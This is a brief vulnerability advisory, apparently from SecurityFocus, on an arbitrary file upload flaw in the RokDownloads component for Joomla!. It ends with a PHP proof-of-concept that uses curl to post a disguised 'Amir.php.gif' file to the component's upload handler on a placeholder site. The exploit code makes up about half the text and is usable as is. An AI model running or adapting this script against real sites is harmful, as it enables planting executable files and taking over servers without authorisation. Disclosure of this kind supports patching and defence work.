source: https://www.securityfocus.com/bid/60690/info The RokDownloads component for Joomla! is prone to a vulnerability that lets attackers upload arbitrary files. The issue occurs because the application fails to adequately sanitize user-supplied input. An attacker may leverage this issue to upload arbitrary files to the affected computer; this can result in arbitrary code execution within the context of the vulnerable application. <?php $uploadfile="Amir.php.gif"; $ch = curl_init("http://www.exemple.com/administrator/components/com_rokdownloads/assets/uploadhandler.php"); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, array('Filedata'=>"@$uploadfile")); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $postResult = curl_exec($ch); curl_close($ch); print "$postResult"; ?>